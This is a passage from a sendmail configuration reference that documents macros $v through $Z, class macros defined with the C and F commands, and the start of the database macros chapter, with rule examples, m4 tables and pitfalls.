$U can be useful when several hosts provide UUCP services. It can be defined in your DOMAIN() file (see Section 19.3.3, "DOMAIN()") as a single name so that all outgoing UUCP mail will appear as though it is from a common host.

31.10.38 $v

The version of sendmail

(All versions)

The v macro contains the current version of the sendmail program, taken from the Version variable that is initialized in version.c of the sendmail source. In general, it is the SCCS revision number of the source. $v is used in defining the SmtpGreetingMessage ($e) option (see Section 34.8.65) and in Received: header lines (see Section 35.10.25).

The value given to $v can vary with the vendor. There is currently no standard for identifying variations on the sendmail program. Clearly, $v may not contain a true picture.

$v is internally defined when sendmail starts up. It may be redefined in the configuration file or as part of the command line.

31.10.39 $V

UUCP relay for class $=V

(m4 technique)

$V holds as its value the name of the host that will handle all UUCP mail for the class $=V. See Section 19.6.46, SITECONFIG for a discussion of UUCP relays in general and how this macro relates to $W, $X, and $Y macros.

31.10.40 $w

The short name of this host

(All versions)

When sendmail first starts to run, it calls gethostname(3) to get the name of the local machine. If that call fails, it sets that local name to be localhost. Then gethostbyname(3) is called to find the official name for the local host. If that call fails, the official name for the local host remains unchanged. The official name for the local host is assigned to $j.

If the V command's version (see Section 27.5) is 5 or higher, V8 sendmail discards the domain and assigns the result to $w (the short name):

here.us.edu

    from here to end of name discarded

If the version is 4 or less, $w is assigned the fully qualified name (and is identical to $j).

$w is then appended to class $=w (see Section 32.5.8). $=w is used internally by sendmail to screen all MX records that are found in delivering mail over the network. [20] Each such record is compared in a case-insensitive fashion to $=w. If there is a match, that MX record and all additional MX records of lower priority are skipped. This prevents sendmail from mistakenly connecting to itself.

[20] Prior to V8, only $w was checked.

Any of the following errors (or variations on them) indicate that $=w, $w, or $j may contain a faulty value, most likely from a bad configuration file declaration:

553 host config error: mail loops back to myself
553 Local configuration error, host name not recognized as local
553 host host name configuration error

Note that if $w is pulled from the name server and the host is running BIND, and a cache is being downloaded, $w could be periodically unresolved. In this instance, sendmail sleeps and retries the lookup.

$w is defined when sendmail starts up. It may be redefined in the configuration file or as part of the command line.

31.10.41 $W

UUCP relay for class $=W

(m4 technique)

$W holds as its value the name of the host that will handle all UUCP mail for the class $=W. See Section 19.6.46 for a discussion of UUCP relays in general and how this macro relates to $V, $X, and $Y macros.

31.10.42 $x

The full name of the sender

(All versions)

The $x macro holds the full name of the sender. When sendmail processes a mail message for delivery, it rewrites the sender's address using rule sets 3 and 0 so that it can determine whether the sender is local. If the sender is local, rule set 0 provides the sender's login name with the $: operator. Then, if the delivery agent's F=w flag (see Section 30.8.43) is set, [21] sendmail calls getpwent(3) using that login name as the argument. If the login name is known, getpwent(3) returns the sender's full name in its pw_gecos field. The sendmail program then processes that pw_gecos field, throwing away phone numbers and the like and converting the & character where necessary. The result, usually fairly close to the sender's full name, is the value assigned to the x macro.

[21] Prior to V8.7 this behavior was tied to the local delivery agent.

Under certain circumstances, sendmail places a different value in $x:

  • When sendmail first starts to run, it sets the full name to be the value of the NAME environmental variable. The -F command-line switch (see Section 36.7.20, -F) can overwrite that variable. If the operating mode is -q (see Section 23.6.1, "Periodically with -q") or -bd (see Section 36.7.5, -bd), the full name is reset to NULL. When mail is sent, this value is assigned to $x.

  • In processing the headers of a message, if sendmail finds a Full-Name: header (see Section 35.10.15, Full-Name:), it assigns the text of that header to the $x macro.

  • In sending a failed mail message, the login name of the sender is taken from $n, and the full name is set to be

Mail Delivery Subsystem

The $x macro is intended for use in header definitions. If used in the From: header definition, the sender's full name will then also appear in the SMTP envelope mail line.

Note that unusual gecos fields in the password file can cause pre-V8 mail to fail. Consider the following passwd(5) entry:

happy:123:456:Happy Guy ;-),Ext 789,,:/u/happy:/bin/sh

The gecos field here will be parsed by all but V8 sendmail into a value for $x that can yield a faulty header - one with unbalanced parentheses:

From: happy@our.domain (Happy Guy ;-))

V8 sendmail accepts only characters up to the first comma, semicolon, or percent as part of the full name and quotes the result, thus avoiding this problem.

$x is transient. If it is defined in the configuration file or the command line, that definition will be ignored by sendmail.

31.10.43 $X

UUCP relay for class $=X

(m4 technique)

$X holds as its value the name of the host that will handle all UUCP mail for the class $=X. See Section 19.6.46 for a discussion of UUCP relays in general and how this macro relates to $V, $W, and $Y macros.

31.10.44 $y

Name of the controlling tty

(All versions)

The $y macro holds the name of the controlling terminal device, if there is one. The controlling terminal is determined by first calling ttyname(3) with the sendmail program's standard error output as an argument. If ttyname(3) returns the name of a terminal device (such as /dev/ttya), sendmail strips everything up to and including the last / character and stores the result into $y.

$y is intended for use in debugging sendmail problems. It is not used internally by sendmail. In determining whether or not it can write to a user's terminal screen, sendmail calls ttyname(3) separately on its standard input, output, and error output without updating $y.

Note that the device name in $y depends on the implementation of ttyname(3). Under BSD UNIX, all terminals are in /dev, whereas under other versions of UNIX they may be in subdirectories such as /dev/ttys. Also note that $y is only defined if TTYNAME is defined (see Section 18.8.52, TTYNAME) when sendmail is compiled.

$y is transient. If it is defined in the configuration file or the command line, that definition will be ignored by sendmail. Finally, note that $y is set only when mail is being sent and so is of most value in headers.

31.10.45 $Y

UUCP relay for unclassified hosts

(m4 technique)

$Y holds as its value the name of the host that will handle all UUCP mail that was not otherwise handled by class $=V, $=W, or $=X. See Section 19.6.46 for a discussion of UUCP relays in general and how this macro relates to $V, $W, and $X macros.

31.10.46 $z

The recipient's home directory

(All versions)

The $z macro holds the location of the local user's home directory. This macro is given a value only if the delivery agent has the F=w flag set (see Section 30.8.43) [22] and if delivery is to a user (rather than a file or a program). The home directory is taken from the pw_dir field as returned by getpwent(3).

[22] Prior to V8.7 this behavior was tied to the local delivery agent.

The sendmail program uses $z to access a user's ~/.forward file and to save failed mail to a user's dead-letter file.

$z can be passed in the A= equate to a custom written local delivery agent. One reason to do so would be to deliver mail to a user's home directory, rather than to a central spool directory. $z is also very useful with the ForwardPath (J) option (see Section 34.8.27, ForwardPath (J)).

$z is transient. If it is defined in the configuration file or the command line, that definition will be ignored by sendmail.

31.10.47 $Z

Version of the m4 configuration

(m4 technique)

When you are configuring with the m4 technique, the version of the configuration file can be augmented by defining confCF_VERSION in your mc file:

define(`confCF_VERSION', `ver')dnl

This statement causes the value ver to be appended to the default value in $Z. A forward slash character will separate the two. The default value in $Z varies depending on your sendmail version. If your version were V8.8.4, the above m4 definition would yield the following macro definition:

DZ8.8.4/ver

$Z is generally used as part of the SmtpGreetingMessage ($e) option's declaration (see Section 34.8.65):

O SmtpGreetingMessage=$j Sendmail $v/$Z; $b

Note that this version is different from the version declared with the VERSIONID m4 macro (see Section 19.6.50, VERSIONID). Also note that this is the configuration file version, rather than the version of the sendmail program as stored in $v.

Prior to V8 sendmail the configuration file version was stored in $V.

Previous: 31.9 Pitfalls | sendmail | Next: 32. Class Macros
31.9 Pitfalls | Book Index | 32. Class Macros


[Chapter 32] Class Macros

sendmailSearch this book
Previous: 31.10 Alphabetized Reference Chapter 32 Next: 32.2 Access Class in Rules

32. Class Macros

Contents:
Class Configuration Commands
Access Class in Rules
Class with m4
Pitfalls
Alphabetized Reference

A class is like an array of string values. In the LHS of rules it is sometimes advantageous to compare individual tokens to multiple strings when determining a match. The configuration class command provides this ability. The class command is similar to the macro definition command, except that instead of assigning a single value to a macro, it assigns many values to a class. Classes differs from macros in that they can be used only in the LHS of rules, whereas macros can be used in either the RHS or the LHS.

Two different configuration commands can be used to assign values to a class. The C configuration command is used to assign values from within the configuration file. The F configuration command is used in two ways: to assign values by reading them from a disk file or to assign values by running a program and reading the output. These commands may be intermixed to create a single class or used separately to create multiple classes.

You may wish to review the tutorial in Chapter 12, Class, to see a few typical applications of class.

32.1 Class Configuration Commands

The three forms for the class configuration command are the following:

CX list             <-  values from configuration file
FX file             <-  values from a disk file
FX |program         <-  values via another program

The class configuration command starts with either the letter C or F, which must begin a line. The C says values will be assigned as a part of the configuration command. The F says values will be assigned from an external file or program.

The C or F is immediately followed (with no intervening whitespace) by the name of the class (the X above). A class name is any single ASCII character or, beginning with V8.7 sendmail a multicharacter name enclosed in curly braces:

CX list                 <-  all versions
C{LongName} list        <-  beginning with V8.7

See Section 31.4.2, "Multicharacter Names" for a full discussion of how to use multicharacter names.

Note that classes are separate from macros, so they may both use the same letter or name with no conflict.

The sendmail program reserves the lowercase letters for its own use as internally defined class names (although currently only a few are actually used). All uppercase letters and all names that begin with uppercase letters are available for use.

32.1.1 The C Class Command

The C form of the class command causes values to be assigned from within the configuration file. In general, the class command looks like this:

CX list                <-  values from configuration file
C{XX} list             <-  values from configuration file

Here, a list is a list of string elements (delimited by whitespace) that follows on the same line as the C command. Each word in list is appended to the array of values in the class X in the first case and to the class {XX} in the second. [1]

[1] Note that when a class name is a single character, it may be referenced with or without enclosing curly braces, with no change in meaning. That is, CX and C{X} are equivalent.

Multiple declarations of the same named class may coexist in the configuration file. Each declaration after the first appends its string elements to the preceding list. That is,

CX string1 string2
CX string3 string4

produces the same class as does

CX string1 string2 string3 string4

Both create a class with four strings as elements.

When an array of values is built, whitespace is used to separate one value from another. Whitespace is defined by the C language isspace(3) routine and usually includes the space, tab, newline, carriage-return, and form-feed characters. Each line of text assigned to a class is broken up by sendmail into whitespace delimited words. When a line is indented with a space or a tab, that line is joined by sendmail to the preceding line. Thus the following three declarations also append four words to the class X:

CX string1
CX string2
CX string3
      string4

   tab

Words that are added to a class cannot be removed after sendmail has read them. Instead, they must be edited out of whatever file or program produced them, and the sendmail daemon must be killed and restarted.

The list of words in a class declaration can include macros. For example the following assigns the same values to class X as did the above example:

D{LIST} string1 string2 string3 string4
CX ${LIST}

Macros used in class declarations are expanded when the configuration file is read. Deferred macros (those with the $& prefix) may not be used in class declarations. But conditionals may:

CX ourhost$?{Domain}.${Domain}$.

32.1.2 The F Class Command

The F form of the class configuration command allows values to be appended to a class from outside the configuration file. In general, the file command looks like either of the following:

FX file             <-  values from a disk file
FX |program         <-  values via another program (V8.7 and above, or IDA)

The F is immediately followed by the name of the class. This can be either a single-character name, as shown, or a multicharacter name. The name is followed by optional whitespace and then the name of a file or program. If the file or program begins with the pipe character (|), it is taken to be the name of a program to run. [2] Otherwise, it is taken to be the name of a file to read.

[2] This was removed from V8.1 sendmail because it presented a security risk. It was restored to V8.7 because sendmail now checks permissions more carefully and exec(2)'s the program itself instead of using the old, buggy popen(3) approach of yore.

If SCANF was defined when sendmail was compiled (see Section 18.8.39, SCANF), each line that is read from a file or program is parsed by the C language scanf(3) library routine. The formatting pattern given to scanf(3) is %s, which tells scanf(3) to read only the first whitespace-delimited word from each line of text. The file is opened for reading or the program is executed when the configuration file is processed. If either cannot be opened (for reading or execution), sendmail syslog(3)'s the following error and ignores that configuration command:

cannot open what: why         <-  file
cannot exec what: why         <-  program

Here, the what is the exact text that was given in the configuration file, and why is the text of a system error.

For the file form only, if the file may optionally not exist, you can prefix its name with a -o switch:

FX -o file             <-  okay for file to not exist

This tells sendmail to remain silent if the file does not exit. The -o switch is useful when a configuration file is shared by several machines, only some of which need the external class macro file.

The C and F forms of the configuration command may be intermixed for any given class name. For example, consider a file named /etc/local/names with the following contents:

string3
string4

The following two configuration commands add the same four strings to the class X as did the C command alone in the previous section:

CX string1 string2
FX /etc/local/names

This creates a class with four strings as array elements. Whitespace delimits one string from the others in the C line declaration, and they are stored in the order in which they are listed. The file /etc/local/names is then opened and read, and each of the two words in that file is appended to the two words that are already in the class.

32.1.2.1 scanf(3) variations

The file form of the class configuration command allows different formatting patterns to be used with scanf(3). [3] But the program form does not allow any variation, and so its scanf(3) pattern is always %s, which tells scanf(3) to read only the first whitespace-delimited word from each line of text:

[3] The version of sendmail that you are using must have been compiled with SCANF defined (see Section 18.8.39) for scanf(3) to be usable from within the configuration file.

FX file pat         <-  with scanf(3) pattern
FX |program         <-  always ``%s''

If the optional pat argument to the file form is missing, the pattern given to scanf(3) is %s. The pat argument is separated from the file argument by one or more spaces or tabs. It should not be quoted, and it consists of everything from its first character to the end of the line. Internally, scanf(3) is called with:

sscanf(result, pat, input)

Here, result is the string array element to be added to the class definition. The pat is the scanf(3) pattern, and input is the line of text read from the file. [4]

[4] Avoid using a bare %s as the pattern. Doing so risks overflowing internal sendmail buffers. Instead specify a limited string length with something like %.40s.

After each line of text is read from the file and filtered with the scanf(3) pattern, it is further subdivided by sendmail into individual words. That subdividing uses whitespace (as defined by the C language isspace(3) routine) to separate words. Each separate word is then appended as an individual element to the class array.

Consider the contents of the following file named /etc/local/myhosts:

server1 server2 # my two nets
uuhost          # my uucp alias
#mailhost       # mail server alias (retired 06,23,91)

This file contains three hostname aliases to be added to a class, say H. The following configuration command does just that:

FH /etc/local/myhosts %[^\#]

The pattern %[^#] causes scanf(3) to read all characters in each line up to, but not including, the first # character. The first line includes two white-space delimited words that are appended to the class H. The second line contains one word, and the third contains none. The \ character prevents sendmail from treating the # as a comment character.

Previous: 31.10 Alphabetized Reference | sendmail | Next: 32.2 Access Class in Rules
31.10 Alphabetized Reference | Book Index | 32.2 Access Class in Rules


[Chapter 32] 32.2 Access Class in Rules

sendmailSearch this book
Previous: 32.1 Class Configuration Commands Chapter 32
Class Macros 		Next: 32.3 Class with m4

32.2 Access Class in Rules

Class arrays are useful only in the LHS of rules. The sendmail program offers two ways to use them: $=X The $= prefix causes sendmail to seek a match between the workspace and one of the words in a class list. [5] $~X The $~ prefix causes sendmail to accept only an entry in the workspace that does not match any of the words in a class list.

[5] Under V8, words in a class can be multitokened.

32.2.1 Matching Any in a Class: $=

The list of words that form a class array are searched by prefixing the class name with the characters $=.

R$=X    $@<$1>

In this rule, the expression $=X causes sendmail to search a class for the word that is in the current workspace. If sendmail finds that the word has been defined, and if it finds that the word is associated with the class X, then a match is made.

The matching word is then made available for use in the RHS rewriting. Because the value of $=X is not known ahead of time, the matched word can be referenced in the RHS with the $digit positional operator.

Consider the following example. Two classes have been declared elsewhere in the configuration file. The first, w, contains all the possible names for the local host:

Cw localhost mailhost server1 server2

The second, D, contains the domain names of the two different networks on which this host sits:

CD domain1 domain2

If the object of a rule is to match any variation on the local hostname at either of the domains and to rewrite the result as the official hostname at the appropriate domain, the following rule can be used:

R $=w . $=D    $@ $w . $2     make any variations "official"

If the workspace contains the tokenized address server1.domain2, sendmail first checks to see whether the word server1 has been defined as part of the class w. If it has, the dot in the rule and workspace match each other, and then sendmail looks up domain2.

If both the host part and the domain part are found to be members of their respective classes, the RHS of the rule is called to rewrite the workspace. The $2 in the workspace corresponds to the $=D in the LHS. The $=D matches the domain2 from the workspace. So that text is used to rewrite the new workspace.

Note that prior to V8 sendmail, only words could be in classes. When sendmail looked up the workspace to check for a match to a class, it looked up only a single token. That is, if the workspace contained server1.domain2.edu, the LHS expression $=D would cause sendmail to look up only the domain2 part. The .edu part would not be looked up, and consequently the rule would fail.

Note that the V8 and IDA versions of sendmail allow multitoken class matching.

32.2.2 Matching Any Not in a Class: $~

The inverse of the $= prefix is the $~ prefix. It is used to match any word in the workspace that is not in a class. It is seldom used in production configuration files; but when the need for its properties arises, it can be very useful.

To illustrate, consider a network with three PC machines on it. The PC machines cannot receive mail, whereas all the other machines on the network can. If the list of PC hostnames is defined in the class {PChosts}:

C{PChosts} pc1 pc2 pc3

Then a rule can be designed that will match any but a PC hostname:

R$*<@$~{PChosts}>     $:$1<@$2>       filter out the PC hosts

Here the LHS looks for an address of the form

"user" "<" "@" "not-a-PC" ">"

This matches only if the @ token is not followed by one of the PC hosts listed in class {PChosts}. If the part of the workspace that is tested against the list provided by $~ is found in that list, then the match fails.

Note that the $digit positional operator in the RHS (the $2 above) references the part of the workspace that doesn't match. If the workspace contains ben<@philly>, the $2 references the philly.

Also note that multitoken expressions in the workspace will not match, as you might expect. That is, for multitoken expressions in the workspace, $~ is not the opposite of $=. To illustrate, consider this miniconfiguration file:

CX hostA.com
R$~X    $@ $1 is not in X
R$=X    $@ yes $1 is in X
R$*     $@ neither

Now feed a multitokened address through these rules in rule testing mode:

% /usr/lib/sendmail -Cx.cf -bt
ADDRESS TEST MODE (ruleset 3 NOT automatically invoked)
Enter <ruleset> <address>
> 0 hostC.com
rewrite: ruleset   0   input: hostC . com
rewrite: ruleset   0 returns: neither

Whenever $~ is given a multitoken expression, it will always find the expression in the class and so will always fail.

32.2.3 Backup and Retry

Multitoken matching operators, such as $+, always try to match the least that they can (see Section 28.5.2, "Backup and Retry"). Such a simple-minded approach could lead to problems in matching (or not matching) classes in the LHS. However, the ability of sendmail to backup and retry alleviates this problem. For example, consider the following three tokens in the workspace:

"A" "." "B"

and consider the following LHS rule:

R$+ $=X $*

Because the $+ tries to match the minimum, it first matches only the A in the workspace. The $=X then tries to match the . to the class X. If this match fails, sendmail backs up and tries again.

The next time through, the $+ matches the A., and the $=X tries to match the B in the workspace. If B is not in the class X, the entire LHS fails.

The ability of the sendmail program to back up and retry LHS matches eliminates much of the ambiguity from rule design. The multitoken matching operators try to match the minimum but match more if necessary for the whole LHS to match.

32.2.4 Class Name Hashing Algorithm

When comparing a token in the workspace to a list of words in a class array, sendmail tries to be as efficient as possible. Instead of comparing the token to each word in the list, one by one, it simply looks up the token in its internal string pool. If the token is in the pool and if the pool listing is marked as belonging to the class being sought, then a match is found.

The comparison of tokens to entries in the string pool is case-insensitive. Each token is converted to lowercase before the comparison, and all strings in the string pool are stored in lowercase.

Because strings are stored in the pool as text with a type, the same string value may be used for different types with no conflict. For example, the symbolic name of a delivery agent and a word in a class may be identical, yet they will still be separate entries in the string pool.

The sendmail program uses a simple hashing algorithm to ensure that the token is compared to the fewest possible strings in the string pool. In normal circumstances that algorithm performs its job well. At sites with unusually large classes (perhaps a few thousand hosts in a class of host aliases), it may be necessary to tune the hashing algorithm. The code is in the file stab.c with the sendmail source. The size of the symbol table hash is set by the constant STABSIZE.

As an alternative to large class arrays, sendmail offers external database macros (see Section 33.1, "Enable at Compile Time"). No information is currently available contrasting the efficiency of the various approaches.

Previous: 32.1 Class Configuration Commands | sendmail | Next: 32.3 Class with m4
32.1 Class Configuration Commands | Book Index | 32.3 Class with m4


[Chapter 32] 32.3 Class with m4

sendmailSearch this book
Previous: 32.2 Access Class in Rules Chapter 32
Class Macros 		Next: 32.4 Pitfalls

32.3 Class with m4

In configuring with the m4 technique, many classes are defined for your convenience. You need to be aware of these not only to take advantage of them, but also to avoid reusing their single-character names by mistake. Table 32.1 lists all the macros that the m4 technique uses as of version 8.8.4. Most are described in other sections, but a few are described here. See Section 19.6.30, LOCAL-CONFIG for the general method used for adding members and new class names using the m4 technique.

Table 32.1: Class Macros Used with the m4 Technique
Class |  | Description
$=B | Section 19.6.8, FEATURE(bestmx-is-local) | Domains to lookup in bestmx in place of $=w
$=E | Section 19.6.4, EXPOSED-USER | List of EXPOSED USERS users
$=F |  | U.C. Berkeley example .mc files
$=G | Section 19.6.11, FEATURE(genericstable) | List of other sites to look up in genericstable
$=L | Section 19.6.38, LOCAL-USER | List of LOCAL USER users
$=M | Section 19.6.12, FEATURE(limited-masquerade) | List of hosts to masquerade
$=O | here | List nonusername characters
$=P | here | List of pseudo domains
$=U | Section 19.4.6, "UUCP" | Locally connected UUCP hosts
$=V | Section 19.4.6 | Hosts connected to UUCP relay $V
$=W | Section 19.4.6 | Hosts connected to UUCP relay $W
$=X | Section 19.4.6 | Hosts connected to UUCP relay $X
$=Y | Section 19.4.6 | Locally connected smart UUCP hosts
$=Z | Section 19.4.6 | Locally connected domainized UUCP hosts

The class O is used by the m4 technique to hold a list of characters that cannot be used in local usernames. This list is used to detect certain kinds of routing addresses that might otherwise be difficult to detect. This list initially contains

@ %

but may also contain a ! if UUCP support is included.

The class P holds a list of pseudo domains that will not be looked up using DNS. Unless you use a FEATURE, this class will only contain a dot. Various FEATUREs will add appropriate pseudo domains to it, such as .UUCP and .REDIRECT.

Previous: 32.2 Access Class in Rules | sendmail | Next: 32.4 Pitfalls
32.2 Access Class in Rules | Book Index | 32.4 Pitfalls


[Chapter 32] 32.4 Pitfalls

sendmailSearch this book
Previous: 32.3 Class with m4 Chapter 32
Class Macros 		Next: 32.5 Alphabetized Reference

32.4 Pitfalls

  • Although a class macro name may be any ASCII character (any character in the range 0x0 to 0x7f), avoid using any of the nonletter characters. At the very least they create confusing reading, and at worst they may cause sendmail to completely misinterpret your intentions.

  • Although strings may traditionally be made to contain whitespace by quoting them, class macros will misinterpret those quotes. For example, "vax ds1" wrongly parses into two class entries: "vax and ds1," with the quotes a part of each.

  • Duplicate strings are silently ignored. Therefore typos in a list of strings may cause an accidentally duplicated entry to be silently excluded.

  • Avoid creating a new class macro name without first checking to see whether it has already been used. That is, don't create a list of UUCP hosts within class U without first checking both for preexisting CU and FU definitions and for rule-set uses of $=U and $~U. It is perfectly legal for the $=U and $~U expressions to exist in rule sets without a corresponding CU or FU definitions. Beware, however, that such empty references still cause sendmail to search the string pool.

  • Under V8 sendmail you may watch your class macro definitions being formed by using the -d37.8 debugging switch (see Section 37.5.127, -d37.8). Under other versions of sendmail you may only approximate this information by using the -d36.9 debugging switch (see Section 37.5.124, -d36.9).

  • The class macro expansion prefixes $= and $~ are intended for use only in the LHS of rules. If you use those characters in the RHS of rules, most versions of sendmail do not print an error; instead, they silently accept those characters as is. V8 sendmail, on the other hand, prints one of the following messages as a warning and ignores the entire rule:

    Inappropriate use of $=
Inappropriate use of $~

  • The file form's scanf(3) pattern can produce unexpected results. Remember that the pattern is applied to a line, not to a stream.

  • No error checking is performed during reads for the F form of the class configuration command. An error reading from a file silently causes the rest of that file's contents to be ignored. An unreported error from a program (one that silently returns 0 on both success and failure) is also silently ignored by sendmail.

  • Be careful in using defined macros in the C form of class macro definitions. Some versions of sendmail store the macro itself instead of the expanded value of the macro, leading to unexpected results. V8 sendmail correctly stores the expanded macro value.

Previous: 32.3 Class with m4 | sendmail | Next: 32.5 Alphabetized Reference
32.3 Class with m4 | Book Index | 32.5 Alphabetized Reference


[Chapter 32] 32.5 Alphabetized Reference

sendmailSearch this book
Previous: 32.4 Pitfalls Chapter 32
Class Macros 		Next: 33. Database Macros

32.5 Alphabetized Reference

Prior to V8 sendmail, only the class w was used internally, but recently, more and more classes have been added to that internal list. Since internal class names always begin with a lowercase letter, you should always begin your own class names with an uppercase letter to avoid conflict.

Table 32.2 lists all the class macros used by sendmail as of version 8.8.4.

Table 32.2: All the Class Macros Used Internally by sendmail
Class |  | Version | Description
$=e | Section 32.5.1, $=e | V8.7 and above | Encode this Content-Transfer-Encoding:
$=k | Section 32.5.2, $=k | V8.6.5 and above | The local UUCP name
$=m | Section 32.5.3, $=m | V8.7 and above | List of local domains
$=n | Section 32.5.4, $=n | V8.7 and above | Don't encode these Content-Types
$=q | Section 32.5.5, $=q | V8.8 and above | Always Quoted-Printable encode Content-Type:
$=s | Section 32.5.6, $=s | V8.7 and above | Presume an RFC822 7-bit body
$=t | Section 32.5.7, $=t | V8.7 and above | List trusted users
$=w | Section 32.5.8, $=w | All versions | List of our other names

Note that these classes are really used internally by sendmail. Don't try to redefine their use in the configuration file. Such an attempt will be doomed to failure.

32.5.1 $=e

Encode this Content-Transfer-Encoding:

(V8.7 and above)

The F=7 delivery agent flag (see Section 30.8.4, F=7) determines whether MIME-encoded data should be converted from 8 to 7 bits. If the message is in 8-bit format and if it is going to a MIME-capable destination that requires 7-bit data, the message body will be converted to 7 bits by using either Quoted-Printable or Base64 (see Section 34.8.22, EightBitMode (8)).

Not all data types should be converted to 7 bits, however. The types that might possibly be converted are listed with the Content-Transfer-Encoding: header (see Section 35.10.8, Content-Transfer-Encoding:). One type that should not be converted, for example, is the quoted-printable type because it is already converted. Types that may be converted are 7bit, 8bit, and binary.

Beginning with version 8.7 sendmail, the class e is used to determine whether or not a type will be encoded. Only those values listed in this class will be encoded. When sendmail first starts, it initializes the list of values in class e to be

7bit 8bit binary

You may add types to this class, but you may never remove them.

Note that a type in class e may still be prevented from being encoded on the basis of the considerations imposed by class n. Also note that the actual encoding can be restricted to quoted printable by use of the class q.

32.5.2 $=k

The local UUCP name

(V8.6.5 and above)

When sendmail first begins to run, it figures out what your local UUCP node name is and assigns the result to the $k macro (see Section 31.10.21, $k). At the same time, it assigns the same name to this class k.

32.5.3 $=m

List of local domains

(V8.7 and above)

When sendmail first begins to run, it figures out what your DNS domain is and assigns the result to the $m macro (see Section 31.10.24, $m). The sendmail program then processes the configuration file. This gives you the opportunity to redefine $m. After that, sendmail assigns the final value in $m to the class m.

Unfortunately, as of V8.8 sendmail, the class macro m is not used by sendmail nor by any of the configuration files produced by the m4 technique. If you wish to have mail accepted as local under a variety of domains, use the domaintable FEATURE instead (see Section 19.6.10, FEATURE(domaintable)).

Suggested uses for class m might include screening mail with the check_compat rule set (see Section 29.10.4, "The check_compat Rule Set"), and detecting local domains by adding rules to rule set 0 with the LOCAL_RULE_0 m4 technique (see Section 19.6.32, LOCAL-RULE-0).

32.5.4 $=n

Don't encode these Content-Types

(V8.7 and above)

Although some MIME content types may be converted to 7 bits, not all types should be. Content types are defined by the Content-Type: header (see Section 35.10.9, Content-Type:). For example, the type multipart/ should not be converted, whereas its component boundary separated parts probably should be. Conversion is done by encoding with either Quoted-Printable or Base64 (see Section 34.8.22).

Beginning with V8.7 sendmail, types that should not be encoded are those defined as members of the class n. When sendmail first starts to run, it defines the following list of values for class n:

multipart/signed

As of this writing, no other useful values exist for this class.

Note that a type in class n may still be prevented from being encoded based on the considerations imposed by class e. Also note that the actual encoding can be restricted to Quoted-Printable by use of the class q.

32.5.5 $=q

Always Quoted-Printable encode Content-Type:

(V8.8 and above)

The EightBitMode (8) option (see Section 34.8.22) determines when and how 8-bit data will be encoded into a 7-bit format. Ordinarily, the decision to use Quoted-Printable as opposed to Base64 is made by examining the input stream and choosing Quoted-Printable if less than 1/8 of the first 4 kilobytes of data has the high bit set. Otherwise, encoding is with Base64.

Beginning with V8.8, sendmail offers the class q as the means to force the selection of Quoted-Printable. Just before scanning the input data, sendmail extracts the type and subtype from the Content-Type: header (see Section 35.10.9):

Content-Type: type/subtype ; ...

If the type is in the class q, the body will definitely be encoded with Quoted-Printable if encoding occurs. Also if a concatenation of type, a slash (/), and subtype is in class q, the body will definitely be encoded with Quoted-Printable.

When sendmail first begins to run, class q is empty. A reasonable value in most countries might be text/plain (although probably not in countries that use 16-bit characters, such as China). Other values for this class might be text or text/html.

32.5.6 $=s

Presume an RFC822 7-bit body

(V8.7 and above)

An email message as defined by RFC822 may not contain 8-bit data. Consequently, when the MIME Content-Type: header declares a message subtype that is rfc822, we immediately know that it will contain nothing that needs 8- to 7-bit encoding.

Content-Type: message/rfc822

As other message subtypes evolve, this assumption can safely be made about them too. So to make sendmail more adaptable, the s class was added beginning with V8.7. This class contains a list of subtypes that should be treated the same as rfc822. When sendmail first begins to run, it initializes that list to contain:

rfc822

Other subtypes that may legitimately appear here might be partial or delivery-status.

Note that this provides only an initial hint to sendmail. The rfc822 subtype may itself contain MIME information that might require 8- to 7-bit encoding.

32.5.7 $=t

List trusted users

(V8.7 and above)

Trusted users are those who may run sendmail with the -f command line switch to specify who sent the message. Prior to V8.6 sendmail, such users had to be listed with the T command (see Section 22.8.1.1, "Declare trusted users (not V8.1 through V8.6)"). That command was ignored in V8.1 through V8.6, and with those versions anyone could use the -f switch. Beginning with V8.7 sendmail, the T command was reintroduced, but it now causes the list of trusted users to be added to the class t. Now, any user who uses the -f switch and who is not listed in class t will cause the following error message (see Section 35.10.35, X-Authentication-Warning:) to be included in the outgoing mail message:

X-Authentication-Warning: user set sender to other using -f

See the use_ct_file FEATURE (see Section 19.6.25, FEATURE(use-ct-file)) for an easy way to add users to this class using the m4 technique.

32.5.8 $=w

List of our other names

(All versions)

Before the sendmail program reads its configuration file, it calls gethostbyname(3) to find all the known aliases for the local machine. The argument given to gethostbyname(3) is the value of the $w macro that was derived from a call to gethostname(3) (see Section 31.10.40, $w).

Depending on the version of sendmail you are running, the aliases that are found will either be those from your /etc/hosts file or those found as additional A records in a DNS lookup. To see the aliases that sendmail found or to see what it missed and should have found, use the -d0.4 debugging switch (see Section 37.5.2, -d0.4). Any aliases that are found are printed as

aka: alias

Depending on your version of sendmail, each alias is either a hostname (such as rog.stan.edu) or an Internet IP number (such as [123.45.67.8]).

Many sendmail.cf files use the w class macro to define all the ways users might reference the local machine. This list must contain all names for the local machine as given in the /etc/hosts file and all names for the local host as listed in DNS (including CNAME and MX records). For example,

# All our routing identities
Cw server1 server2
# All our local aliases
Cw localhost mailhost tops-link print-router loghost
# DNS records
Cw serv-link
# We are a bitnet registered node
Cw bitserver

If you notice mail failing because users commonly misspell the local machine name (e.g., ol11l0 when they really mean o1ll10); you might want to consider adding that misspelled version to a Cw declaration.

An easy way to add hostnames to class w is with the use_cw_file FEATURE (see Section 19.6.26, FEATURE(use-cw-file)) of the m4 technique.

Previous: 32.4 Pitfalls | sendmail | Next: 33. Database Macros
32.4 Pitfalls | Book Index | 33. Database Macros


[Chapter 33] Database Macros

sendmailSearch this book
Previous: 32.5 Alphabetized Reference Chapter 33 Next: 33.2 Create Files with makemap

33. Database Macros

Contents:
Enable at Compile Time
Create Files with makemap
The K Configuration Command
Use Maps with $( and $) in Rules
The User Database
Database Maps and m4
Pitfalls
Alphabetized Reference

Database macros are special forms of defined macros. When used with certain special operators, they can cause rules to access information in external files. Database macros offer these advantages:

  • Information may be easily changed without having to kill and restart sendmail, because database information is external to the configuration file.

  • The sendmail program starts up faster, because only the location of the information is stored at startup, rather than the information itself.

  • Rules are more versatile because database information can be used in the RHS side of rules. Class macros are still of use in the LHS.

To fully appreciate sendmail databases, consider the only alternative, the F configuration command. For example, mail that is sent by using UUCP is a typical application that requires lists of information:

FU /etc/mail/uuhosts

